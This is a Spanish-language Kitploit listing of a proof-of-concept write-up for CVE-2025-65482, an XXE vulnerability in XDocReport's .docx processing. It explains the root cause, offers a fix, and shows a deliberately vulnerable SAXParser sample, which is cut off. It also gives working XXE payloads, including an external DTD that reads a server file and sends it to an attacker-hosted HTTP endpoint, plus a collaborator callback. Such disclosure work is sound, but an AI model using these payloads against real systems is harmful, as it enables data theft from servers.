Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
Herramientas/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosPapers e InvestigaciónAprendizaje y Educación
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

Ver Repositorio
111hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-65482 (XXE)

XML External Entity Injection (XXE) en XDocReport

Definición del error

XML External Entity Injection

Resumen de la vulnerabilidad

  • XML External Entity Injection (XXE) es una vulnerabilidad en el procesamiento de datos en formato XML, donde el usuario inserta datos XML que hacen referencia a un archivo o sistema externo. Un atacante puede usar esta vulnerabilidad XXE identificada para escanear otros sistemas en busca de puertos de servicio abiertos, solicitar archivos secretos y acceder a funcionalidades de sistemas conectados que de otro modo no estarían disponibles. Desde aquí, el atacante puede extraer datos, interactuar con los sistemas y causar interrupción del servicio mediante la inserción de XML.

Impacto empresarial

  • XXE puede provocar daños a la reputación de la empresa debido a la pérdida de confianza y credibilidad de los usuarios. También puede dar lugar al robo de datos y pérdidas financieras indirectas para la empresa a través de costos de notificación, remediación y violación de datos PII.

Severidad ALTA

image

Descripción e impacto

El sitio web de gestión de personal permite a los usuarios subir archivos de documento .docx al sistema. Durante el procesamiento, la aplicación utiliza la biblioteca fr.opensagres.xdocreport.document.docx que contiene la vulnerabilidad XXE al pasar el archivo .docx del usuario a través de SAXParser.

Componente afectado

fr.opensagres.xdocreport.template.docx — XDocReport (versiones =< 2.0.3)

Análisis de causa raíz

La causa es el uso de Apache POI.

fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

Es decir, Apache POI está muy profundo, en el módulo:

org.apache.poi.xwpf.converter.core

image

El error ocurre porque XDocReport (en el módulo fr.opensagres.xdocreport.document.docx) usa Apache POI para leer los archivos .docx, y POI utiliza el SAXParser por defecto de Java sin deshabilitar las características que permiten el procesamiento de DTD y entidades externas. → Esto permite al atacante insertar un DOCTYPE con una entidad que apunta hacia afuera (SYSTEM "http://...") o hacia un archivo interno (file:///...) → generando XXE.

image

XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Pasos para reproducir

  • Descomprimir cualquier archivo docx
unzip ../vcspentest.docx

image

  • Editar el contenido del archivo document.xml dentro del docx
nano word/document.xml

image

editar con payload outbound para pasar por collabrator de la siguiente manera:

<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • Volver a comprimir como archivo poc
 zip -r ../poc.docx *

image

image

  • Subir el archivo docx modificado para que sea procesado por xdocreport

image

  • Como resultado, se ve una solicitud enviada al collabrator

image

  • Aumentar el impacto a leer archivos en el sistema
  • Host que almacena el archivo dtd en la máquina wsl 172.26.208.130. con el contenido del archivo vcspentest.dtd de la siguiente manera:
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

editar el archivo word/document.xml dentro del archivo .docx con el siguiente contenido para cargar el dtd externo desde la máquina wsl:

<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • Comprimir el archivo en .docx y subirlo al servidor para su procesamiento

image

image

  • En la máquina wsl se ve una solicitud enviada con el contenido del archivo D:/vcspentest.txt en el servidor objetivo

image

image

Solución

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

En el fragmento de código o en la capa de configuración del analizador XML, es necesario deshabilitar todas las características relacionadas con DTD y entidades externas.

Arreglo similar a este código

    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
Descargar herramienta